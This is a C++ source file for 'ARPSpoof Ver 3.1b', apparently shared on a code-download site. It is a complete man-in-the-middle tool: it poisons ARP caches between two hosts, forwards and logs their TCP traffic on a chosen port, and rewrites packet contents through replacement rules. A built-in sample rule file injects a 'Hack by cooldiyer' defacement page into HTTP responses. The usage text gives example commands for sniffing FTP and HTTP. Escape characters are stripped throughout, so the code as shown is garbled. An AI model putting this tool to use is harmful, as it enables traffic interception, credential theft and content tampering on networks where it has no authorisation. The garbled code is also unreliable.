arpspoof.cpp
上传用户:raech007
上传日期:2008-02-15
资源大小:1751k
文件大小:17k
源码类别:

网络编程

开发平台:

Visual C++

  1. #include <stdio.h>
  2. #include <pcap.h>
  3. #include <winsock2.h>
  4. #pragma comment(lib, "ws2_32.lib")
  5. #pragma comment(lib, "wpcap.lib")
  6. #include "iphlpapi.h"
  7. #include "protoinfo.h"
  8. #include "spoof.h"
  9. #include "tcp.h"
  10. #include "scan.h"
  11. #include "replace.h"
  12. //
  13. // 存储要替换的字符串的链表结构
  14. //
  15. typedef struct tagSTRLINK
  16. {
  17. char szOld[256];
  18. char szNew[256];
  19. struct tagSTRLINK *next;
  20. }STRLINK, *PSTRLINK;
  21. HANDLE hThread[2]; // 两个发送RARP包的线程
  22. unsigned short g_uPort; // 要监视的端口号
  23. pcap_t *adhandle; // 网卡句柄
  24. HANDLE g_hEvent; // 捕捉 Ctrl+C
  25. int g_uMode; // 欺骗标志 0 表示单向欺骗, 1表示双向欺骗
  26. BOOL bIsReplace = FALSE; // 是否对转发的数据进行替换
  27. BOOL bIsLog = FALSE; // 是否进行数据保存
  28. char szLogfile[MAX_PATH]; // 要保存数据的文件名
  29. // 对应ARPSPOOF结构中的成员
  30. unsigned char ucSelf[6], ucIPA[6], ucIPB[6];
  31. char szIPSelf[16], szIPA[16], szIPB[16], szIPGate[16];
  32. // 初始化链表
  33. PSTRLINK strLink = (PSTRLINK) malloc(sizeof(STRLINK));
  34. char TcpFlag[6]={ 'F','S','R','P','A','U' }; //定义TCP标志位,分析数据包时用
  35. BOOL InitSpoof(char **);
  36. void ResetSpoof();
  37. void Help();
  38. //
  39. // 格式化copy函数,主要是为了替换 'r', 'n'字符
  40. //
  41. BOOL fstrcpy(char *szSrc, char *szDst)
  42. {
  43. unsigned int i, j;
  44. for (i = 0, j=0; i < strlen(szSrc); i++, j++)
  45. {
  46. if (szSrc[i] == '\' && szSrc[i + 1] == 'r') // Replace "r"
  47. {
  48. szDst[j] = 'r';
  49. i ++;
  50. }
  51. else if (szSrc[i] == '\' && szSrc[i + 1] == 'n') // Replace "n"
  52. {
  53. szDst[j] = 'n';
  54. i ++;
  55. }
  56. else if (szSrc[i] != 'n' && szSrc[i] != '')
  57. {
  58. szDst[j] = szSrc[i];
  59. }
  60. else
  61. {
  62. return TRUE;
  63. }
  64. }
  65. szDst[j + 1] = ''; // add ''
  66. return TRUE;
  67. }
  68. //
  69. // 把文件中的规则存储到链表中
  70. // 入口参数 szJobfile ==> 规则文件名
  71. // 出口参数 strLink   ==> 指向链表头的指针
  72. //
  73. BOOL ReadJob(char *szJobfile, PSTRLINK strLink)
  74. {
  75. FILE *fp;
  76. char szBuff[256], *p = NULL;
  77. if ((fp = fopen(szJobfile, "rt")) == NULL)
  78. {
  79. printf("Job file open errorn");
  80. return FALSE;
  81. }
  82. PSTRLINK pTmp = strLink; // 保存原指针
  83. while (fgets(szBuff, sizeof(szBuff), fp))
  84. {
  85. if (strcmp(szBuff, "----"))
  86. {
  87. memset(szBuff, 0, sizeof(szBuff));
  88. memset(strLink->szOld, 0, sizeof(strLink->szOld));
  89. fgets(szBuff, sizeof(szBuff), fp);
  90. if (! fstrcpy(szBuff, strLink->szOld))
  91. {
  92. printf("[!] job file format error ..n");
  93. return FALSE;
  94. }
  95. fgets(szBuff, sizeof(szBuff), fp);
  96. if (strcmp(szBuff, "----"))
  97. {
  98. memset(szBuff, 0, sizeof(szBuff));
  99. memset(strLink->szNew, 0, sizeof(strLink->szNew));
  100. fgets(szBuff, sizeof(szBuff), fp);
  101. if (! fstrcpy(szBuff, strLink->szNew))
  102. {
  103. printf("[!] job file format error ..n");
  104. return FALSE;
  105. }
  106. }
  107. else
  108. {
  109. printf("Replace Job file format error, 
  110. used arpspoof /n release a new job filen");
  111. return FALSE;
  112. }
  113. strLink->next = (PSTRLINK) malloc(sizeof(STRLINK));
  114. strLink = strLink->next;
  115. strLink->next = NULL;
  116. }
  117. }
  118. fclose(fp);
  119. strLink = pTmp; // 恢复原指针
  120. return TRUE;
  121. }
  122. //
  123. // 把数据写入文件
  124. // 入口参数: szLogfile ==> 日志文件名 data ==> 指向数据块的空指针 size ==> 数据块大小
  125. // 返回值类型 Boolean
  126. //
  127. BOOL SaveLog(char szLogfile[], const void *data, unsigned int size)
  128. {
  129. HANDLE hFile;
  130. DWORD dwBytes;
  131. hFile = CreateFile(szLogfile, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, 
  132. OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
  133. if (hFile == INVALID_HANDLE_VALUE)
  134. return FALSE;
  135. SetFilePointer(hFile, NULL, NULL, FILE_END);
  136. WriteFile(hFile, data, size, &dwBytes, NULL);
  137. CloseHandle(hFile);
  138. return TRUE;
  139. }
  140. //
  141. // 捕获控制台事件的函数,主要是处理程序中断事务
  142. // 
  143. BOOL CtrlHandler( DWORD fdwCtrlType ) 
  144. switch (fdwCtrlType) 
  145. // Handle the CTRL-C signal. 
  146.     case CTRL_C_EVENT: 
  147.     case CTRL_CLOSE_EVENT: 
  148.     case CTRL_BREAK_EVENT:  
  149.     case CTRL_LOGOFF_EVENT: 
  150.     case CTRL_SHUTDOWN_EVENT:
  151. ResetSpoof(); //  恢复欺骗主机的arp cache
  152. return TRUE;
  153.     default: 
  154. return FALSE;
  155. }
  156. }
  157. // 
  158. //  为公用变量赋值,初始化参数
  159. //
  160. BOOL InitSpoof(char **argv)
  161. {
  162. // IPSelf, ucSelf 已经在打开网卡时初始化过了
  163. memset(ucIPA, 0xff, 6);
  164. memset(ucIPB, 0xff, 6);
  165. memset(szIPA, 0 ,16);
  166. memset(szIPB, 0 ,16);
  167. if (!GetMac((char *) argv[1], ucIPA))
  168. {
  169. printf("[!] Error Get Mac Address of %sn", argv[1]);
  170. return FALSE;
  171. }
  172. if (!GetMac((char *) argv[2], ucIPB))
  173. {
  174. printf("[!] Error Get Mac Address of %sn", argv[2]);
  175. return FALSE;
  176. }
  177. strcpy((char *) szIPA, (char *) argv[1]);
  178. strcpy((char *) szIPB, (char *) argv[2]);
  179. StaticARP((unsigned char *) szIPA, ucIPA);
  180. StaticARP((unsigned char *) szIPB, ucIPB);
  181. g_uPort = atoi(argv[3]);
  182. g_uMode = atoi(argv[5]);
  183. return TRUE;
  184. }
  185. //
  186. // 显示ARP欺骗信息 (调试用)
  187. // 加延迟是为了等待参数传递,因为函数公用一个ARPSPOOF变量
  188. //
  189. void SpoofInfo(PARPSPOOF arpspoof)
  190. {
  191. /*
  192. printf("Spoof %s %s MAC %.2X-%.2X-%.2X-%.2X-%.2X-%.2Xn",
  193. arpspoof->szTarget, arpspoof->szIP, 
  194. arpspoof->ucPretendMAC[0], arpspoof->ucPretendMAC[1],
  195. arpspoof->ucPretendMAC[2], arpspoof->ucPretendMAC[3],
  196. arpspoof->ucPretendMAC[4], arpspoof->ucPretendMAC[5]
  197. );
  198. */
  199. Sleep(100);
  200. }
  201. //
  202. // 处理ARP欺骗例程,开始Spoof
  203. //
  204. void ARPSpoof()
  205. {
  206. PARPSPOOF arpspoof = (PARPSPOOF) malloc(sizeof(ARPSPOOF));
  207. arpspoof->adhandle = adhandle;
  208. memcpy(arpspoof->ucSelfMAC, ucSelf, 6);
  209. // Spoof IP1 -> IP2
  210. strcpy((char *) arpspoof->szTarget, szIPA);
  211. memcpy(arpspoof->ucTargetMAC, ucIPA, 6);
  212. strcpy((char *) arpspoof->szIP, szIPB);
  213. memcpy(arpspoof->ucIPMAC, ucIPB, 6);
  214. memcpy(arpspoof->ucPretendMAC, ucSelf, 6);
  215. hThread[0] = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)SpoofThread,
  216. (LPVOID) arpspoof, NULL, NULL);
  217. SpoofInfo(arpspoof);
  218. if (g_uMode == 1) // 如果双向欺骗
  219. {
  220. // Spoof IP2 -> IP1
  221. strcpy((char *) arpspoof->szTarget, szIPB);
  222. memcpy(arpspoof->ucTargetMAC, ucIPB, 6);
  223. strcpy((char *) arpspoof->szIP, szIPA);
  224. memcpy(arpspoof->ucIPMAC, ucIPA, 6);
  225. memcpy(arpspoof->ucPretendMAC, ucSelf, 6);
  226. hThread[1] = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)SpoofThread,
  227. (LPVOID) arpspoof, NULL, NULL);
  228. SpoofInfo(arpspoof);
  229. }
  230. }
  231. //
  232. // 重置ARP欺骗,恢复受骗主机的ARP cache
  233. //     和ARPSpoof做相反操作
  234. //
  235. void ResetSpoof()
  236. {
  237. printf("[+] Reseting .....n");
  238. TerminateThread(hThread[0], 0);
  239. TerminateThread(hThread[1], 0);
  240. PARPSPOOF arpspoof = (PARPSPOOF) malloc(sizeof(ARPSPOOF));
  241. arpspoof->adhandle = adhandle;
  242. strcpy((char *) arpspoof->szTarget, szIPA);
  243. memcpy(arpspoof->ucTargetMAC, ucIPA, 6);
  244. strcpy((char *) arpspoof->szIP, szIPB);
  245. memcpy(arpspoof->ucIPMAC, ucIPB, 6);
  246. memcpy(arpspoof->ucPretendMAC, ucIPB, 6);
  247. memcpy(arpspoof->ucSelfMAC, ucSelf, 6);
  248. hThread[0] = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)SpoofThread,
  249. (LPVOID) arpspoof, NULL, NULL);
  250. if(g_uMode == 1)
  251. {
  252. Sleep(200);
  253. strcpy((char *) arpspoof->szTarget, szIPB);
  254. memcpy(arpspoof->ucTargetMAC, ucIPB, 6);
  255. strcpy((char *) arpspoof->szIP, szIPA);
  256. memcpy(arpspoof->ucIPMAC, ucIPA, 6);
  257. memcpy(arpspoof->ucPretendMAC, ucIPA, 6);
  258. hThread[1] = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)SpoofThread,
  259. (LPVOID) arpspoof, NULL, NULL);
  260. }
  261. printf("[-] Sleep 5s ");
  262. for(int i = 0; i < 12; i++, Sleep(300))
  263. printf(".");
  264. printf("n");
  265. TerminateThread(hThread[0], 0);
  266. TerminateThread(hThread[1], 0);
  267. // pcap_breakloop后,所有对网卡的操作都会使用程序中止,切记
  268. pcap_breakloop(adhandle); 
  269. }
  270. //
  271. // 替换数据包中内容, 重新计算校验和
  272. //
  273. void ReplacePacket(const u_char *pkt_data, unsigned int pkt_len)
  274. {
  275. ETHeader *eh;
  276.     IPHeader *ih;
  277.     TCPHeader *th;
  278.     u_int ip_len;
  279. eh = (ETHeader *) pkt_data;
  280. ih = (IPHeader *) (pkt_data + 14);
  281. ip_len = (ih->iphVerLen & 0xf) * 4;
  282. th = (TCPHeader *) ((u_char*)ih + ip_len);
  283. // 得到TCP数据包的指针和长度
  284. unsigned char *datatcp = (unsigned char *) ih + sizeof(_IPHeader) 
  285. + sizeof(struct _TCPHeader);
  286. int lentcp = ntohs(ih->ipLength) - (sizeof(_IPHeader) + sizeof(_TCPHeader));
  287. // 开始替换数据内容,重新计算校验和
  288. PSTRLINK pTmp = strLink;
  289. int i = 0;
  290. while (pTmp->next)
  291. {
  292. // 开始匹配规则进行替换
  293. if (Replace(datatcp, lentcp, pTmp->szOld, pTmp->szNew))
  294. {
  295. printf("    Applying rul %s ==> %sn", pTmp->szOld, pTmp->szNew);
  296. i ++;
  297. }
  298. pTmp = pTmp->next;
  299. }
  300. if (i >0) // 如果数据包被修改,重新计算校验和
  301. {
  302. printf("[*] Done %d replacements, forwarding packet of size %dn",
  303. i, pkt_len);
  304. ih->ipChecksum = 0;
  305. th->checksum = 0;
  306. ih->ipChecksum = checksum((USHORT *)ih, sizeof(_IPHeader));
  307. ComputeTcpPseudoHeaderChecksum(ih, th, (char *)datatcp, lentcp);
  308. }
  309. else
  310. printf("[*] Forwarding untouched packet of size %dn", pkt_len);
  311. }
  312. //
  313. // 分析显示数据包内容,或者保存至文件
  314. //
  315. void AnalyzePacket(const u_char *pkt_data, unsigned int pkt_len)
  316. {
  317. ETHeader *eh;
  318.     IPHeader *ih;
  319.     TCPHeader *th;
  320.     u_int ip_len;
  321. char szSource[16],szDest[16];
  322.     u_short sport, dport;
  323. eh = (ETHeader *) pkt_data;
  324. ih = (IPHeader *) (pkt_data + 14);
  325. ip_len = (ih->iphVerLen & 0xf) * 4;
  326. th = (TCPHeader *) ((u_char*)ih + ip_len);
  327. sport = ntohs(th->sourcePort);
  328. dport = ntohs(th->destinationPort );
  329. unsigned char *datatcp = (unsigned char *) ih + sizeof(_IPHeader) 
  330. + sizeof(struct _TCPHeader);
  331. int lentcp = ntohs(ih->ipLength) - (sizeof(_IPHeader) + sizeof(_TCPHeader));
  332. wsprintf(szSource, "%d.%d.%d.%d",
  333. ih->ipSourceByte.byte1, ih->ipSourceByte.byte2,
  334. ih->ipSourceByte.byte3, ih->ipSourceByte.byte4);
  335. wsprintf(szDest, "%d.%d.%d.%d",
  336. ih->ipDestinationByte.byte1, ih->ipDestinationByte.byte2,
  337. ih->ipDestinationByte.byte3, ih->ipDestinationByte.byte4);
  338. // 分析数据包
  339. char szTmpStr[85], szTmpFlag[7];
  340. szTmpFlag[6] = '';
  341. unsigned char FlagMask = 1;
  342. for(int i=0; i<6; i++ )
  343. {
  344. if ((th->flags) & FlagMask)
  345. szTmpFlag[i] = TcpFlag[i]; 
  346. else
  347. szTmpFlag[i] = '-';
  348. FlagMask = FlagMask << 1; 
  349. }
  350. wsprintf(szTmpStr,
  351. "nTCP %15s->%-15s Bytes=%-4d TTL=%-3d Port:%d->%d %sn",
  352. szSource, szDest, lentcp, ih->ipTTL, sport, dport, szTmpFlag);
  353. printf("%s", szTmpStr);
  354. if (bIsLog) // 写入文件
  355. {
  356. SaveLog(szLogfile, szTmpStr, strlen(szTmpStr));
  357. SaveLog(szLogfile, datatcp, lentcp);
  358. }
  359. //  显示数据包的内容
  360. for (i = 0; i < lentcp; i++)
  361. {
  362. if ((*(datatcp+i) & 0x000000ff) != 0x07)  // 过滤掉可恶的Beep字符
  363. printf("%c", *(datatcp+i));
  364. }
  365. }
  366. //
  367. //  处理转发、修改、保存数据包的例程
  368. //  程序的核心部分
  369. //
  370. void ForwardPacket(pcap_t *adhandle, const u_char *pkt_data, unsigned int pkt_len)
  371. {
  372. ETHeader *eh;
  373.     IPHeader *ih;
  374.     TCPHeader *th;
  375.     u_int ip_len;
  376. char szSource[16],szDest[16];
  377.     u_short sport, dport;
  378. eh = (ETHeader *) pkt_data;
  379. if(eh->type != htons(ETHERTYPE_IP))
  380. return; // 只转发IP包
  381. ih = (IPHeader *) (pkt_data + 14); //找到IP头的位置,14为以太头的长度
  382. ip_len = (ih->iphVerLen & 0xf) * 4; 
  383. th = (TCPHeader *) ((u_char*)ih + ip_len); // 找到TCP的位置
  384. // 将端口信息从网络型转变为主机顺序
  385. sport = ntohs(th->sourcePort);
  386. dport = ntohs(th->destinationPort );
  387. // 得到源IP地址,目标IP地址
  388. wsprintf(szSource, "%d.%d.%d.%d",
  389. ih->ipSourceByte.byte1, ih->ipSourceByte.byte2,
  390. ih->ipSourceByte.byte3, ih->ipSourceByte.byte4);
  391. wsprintf(szDest, "%d.%d.%d.%d",
  392. ih->ipDestinationByte.byte1, ih->ipDestinationByte.byte2,
  393. ih->ipDestinationByte.byte3, ih->ipDestinationByte.byte4);
  394. // 开始过滤要转发的数据包
  395. if (strcmp(szDest, szIPSelf) != 0 && memcmp(ucSelf, eh->dhost,6) == 0)
  396. {
  397. // rebuild IPA -> IPB
  398. if (memcmp(eh->shost, ucIPA, 6) == 0)
  399. {
  400. // 修改以太网头
  401. memcpy(eh->shost, eh->dhost, 6);
  402. memcpy(eh->dhost, ucIPB, 6);
  403. if (ih->ipProtocol == PROTO_TCP && dport == g_uPort)
  404. {
  405. if (bIsReplace) // 是否替换
  406. {
  407. printf("[+] Caught %15s:%-4d -> %s:%dn", szSource, sport, szDest, dport);
  408. ReplacePacket(pkt_data, pkt_len);
  409. printf("[*] Forwarding untouched packet of size %dn", pkt_len);
  410. }
  411. else
  412. {
  413. AnalyzePacket(pkt_data, pkt_len);
  414. }
  415. }
  416. if (pcap_sendpacket(adhandle, (const unsigned char *) pkt_data, pkt_len) < 0)
  417. {
  418. printf("[!] Forward thread send packet errorn");
  419. }
  420. }
  421. // rebuild IPB -> IPA
  422. else if (memcmp(eh->shost, ucIPB, 6) == 0)
  423. {
  424. memcpy(eh->shost, eh->dhost, 6);
  425. memcpy(eh->dhost, ucIPA, 6);
  426. if (ih->ipProtocol == PROTO_TCP && sport == g_uPort)
  427. {
  428. if (bIsReplace)
  429. {
  430. printf("[+] Caught %15s:%-4d -> %s:%dn", szSource, sport, szDest, dport);
  431. ReplacePacket(pkt_data, pkt_len);
  432. printf("[*] Forwarding untouched packet of size %dn", pkt_len);
  433. }
  434. else
  435. {
  436. AnalyzePacket(pkt_data, pkt_len);
  437. }
  438. }
  439. if(pcap_sendpacket(adhandle, (const unsigned char *) pkt_data, pkt_len) < 0)
  440. {
  441. printf("[!] Forward thread send packet errorn");
  442. }
  443. }
  444. }
  445. }
  446. //
  447. // pcap_loop的回调函数
  448. // 把接收到的数据传给ForwardPacket函数处理
  449. //
  450. void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data)
  451. {
  452. ForwardPacket(adhandle, pkt_data,header->len);
  453. }
  454. //
  455. // 释放一个实例规则文件
  456. //
  457. int ReleaseJob(const char *szName)
  458. {
  459. FILE *fp;
  460. if ((fp = fopen("job.txt","w")) == NULL)
  461. return 0;
  462. fputs("----nHTTP/1.n----nHTTP/1.1 200 OK\r\n" 
  463. "Server: CoolDiyer's Hack IIS\r\nContent-Length: 27\r\n" 
  464. "Connection: close\r\nContent-Type: text/html\r\n\r\n" 
  465. "Hack by cooldiyer<noframes>n----", fp);
  466. fclose(fp);
  467. return 1;
  468. }
  469. //
  470. // 主函数,主要处理参数的初始化
  471. //
  472. int main(int argc, char *argv[])
  473. {
  474. printf("ARPSpoof Ver 3.1b by CoolDiyern");
  475. if (argc >1)
  476. {
  477. if (argv[1][1] == 'l') // 列出可用的网卡
  478. {
  479. ListAdapters();
  480. return 0;
  481. }
  482. if (argv[1][1] == 'n') // 释放一个示例规则文件 job.txt
  483. {
  484. if (ReleaseJob("job.txt"))
  485. {
  486. printf("[+] Replace Job file job.txt release success...n");
  487. return 0;
  488. }
  489. else
  490. {
  491. printf("[!] Release job file errorn");
  492. return -1;
  493. }
  494. }
  495. if (argc == 4 && argv[1][1] == 's')
  496. {
  497. EnumLanHost(argv[2], argv[3]);
  498. return 0;
  499. }
  500. }
  501. if (argc < 6) // 参数不正确,显示使用帮助
  502. {
  503. Help();
  504. return 0;
  505. }
  506. // 打开网卡,初始化szIPSelf, ucSelf, szIPGate变量
  507. if ((adhandle = OpenAdapter(atoi(argv[4]), szIPSelf, ucSelf, szIPGate)) == NULL)
  508. {
  509. printf("[!] Open adatper error!n");
  510. return FALSE;
  511. }
  512. // 初始化其它变量,转入核心例程
  513. if (InitSpoof(argv))
  514. {
  515. if (argc == 7 && strcmpi(argv[6], "/reset") == 0) // 启用恢复线程,5秒后退出程序
  516. {
  517. if (g_uMode == 1)
  518. printf("[*] Reset  %s <-> %sn", szIPA ,szIPB);
  519. else
  520. printf("[*] Reset  %s --> %sn", szIPA ,szIPB);
  521. ResetSpoof();
  522. }
  523. else if (argc >5 )
  524. {
  525. SetConsoleCtrlHandler((PHANDLER_ROUTINE) CtrlHandler, TRUE);
  526. if (argc == 8 && argv[6][1] == 'r') // 如果是要替换转发内容
  527. {
  528. if (ReadJob(argv[7], strLink)) // 加载规则文件,并显示替换规则
  529. {
  530. PSTRLINK pTmp = strLink;
  531. int i=0;
  532. while (pTmp->next)
  533. {
  534. i++;
  535. printf("[*] Parsing rul %s ==> %sn", pTmp->szOld, pTmp->szNew);
  536. pTmp = pTmp->next;
  537. }
  538. bIsReplace = TRUE;
  539. printf("[+] Loaded %d rules...n", i);
  540. }
  541. else
  542. return -1;
  543. }
  544. if (argc == 8 && argv[6][1] == 's') //  是否保存数据到文件
  545. {
  546. strcpy(szLogfile, argv[7]);
  547. bIsLog = TRUE;
  548. printf("[+] Save log to %sn", szLogfile);
  549. }
  550. if (g_uMode == 1) //  双向欺骗
  551. printf("[*] Spoofing  %s <-> %sn", szIPA ,szIPB);
  552. else // 单向欺骗
  553. printf("[*] Spoofing  %s --> %sn", szIPA ,szIPB);
  554. if (!bIsReplace) // 只转发,不替换
  555. printf("[+] Using fixed forwarding thread.n");
  556. // 开始主要例程,欺骗并转发处理数据包
  557. ARPSpoof();
  558. pcap_loop(adhandle, 0, packet_handler, NULL);
  559. }
  560. }
  561. pcap_close(adhandle);
  562. return 0;
  563. }
  564. //
  565. // 帮助函数,对一些参数的说明和程序的使用
  566. //
  567. void Help()
  568. {
  569. printf("Usage:n");
  570. printf("  ArpSpoof <IP1> <IP2> <PORT> <AdpNum> <Mode> /[r|s] <File>n");
  571. printf("  ArpSpoof /s <IP> <Mask>n");
  572. printf("  ArpSpoof /ln");
  573. printf("tMode Options:ntt0tIP1 --> IP2n");
  574. printf("tt1tIP1 <-> IP2n");
  575. printf("Examples:n");
  576. printf("t> ArpSpoof 192.168.0.1 192.168.0.8 80 2 1 /r job.txtn");
  577. printf("t  # Spoof 192.168.0.1 <-> 192.168.0.8:80 with rulenn");
  578. printf("t> ArpSpoof 192.168.0.1 192.168.0.8 21 2 1 /s sniff.logn");
  579. printf("t  # Spoof 192.168.0.1 <-> 192.168.0.8:80 save to lognn");
  580. printf("t> ArpSpoof 192.168.0.1 192.168.0.8 80 2 0 /RESETn");
  581. printf("t  # Reset 192.168.0.1 --> 192.168.0.8:80nn");
  582. printf("t> ArpSpoof /s 192.168.0.1 255.255.255.0n");
  583. printf("t  # Scan lan hostnn");
  584. printf("t> ArpSpoof /ln");
  585. printf("t  # Lists adaptersnn");
  586. printf("t> ArpSpoof /nn");
  587. printf("t  # Release a new replace rule filen");
  588. }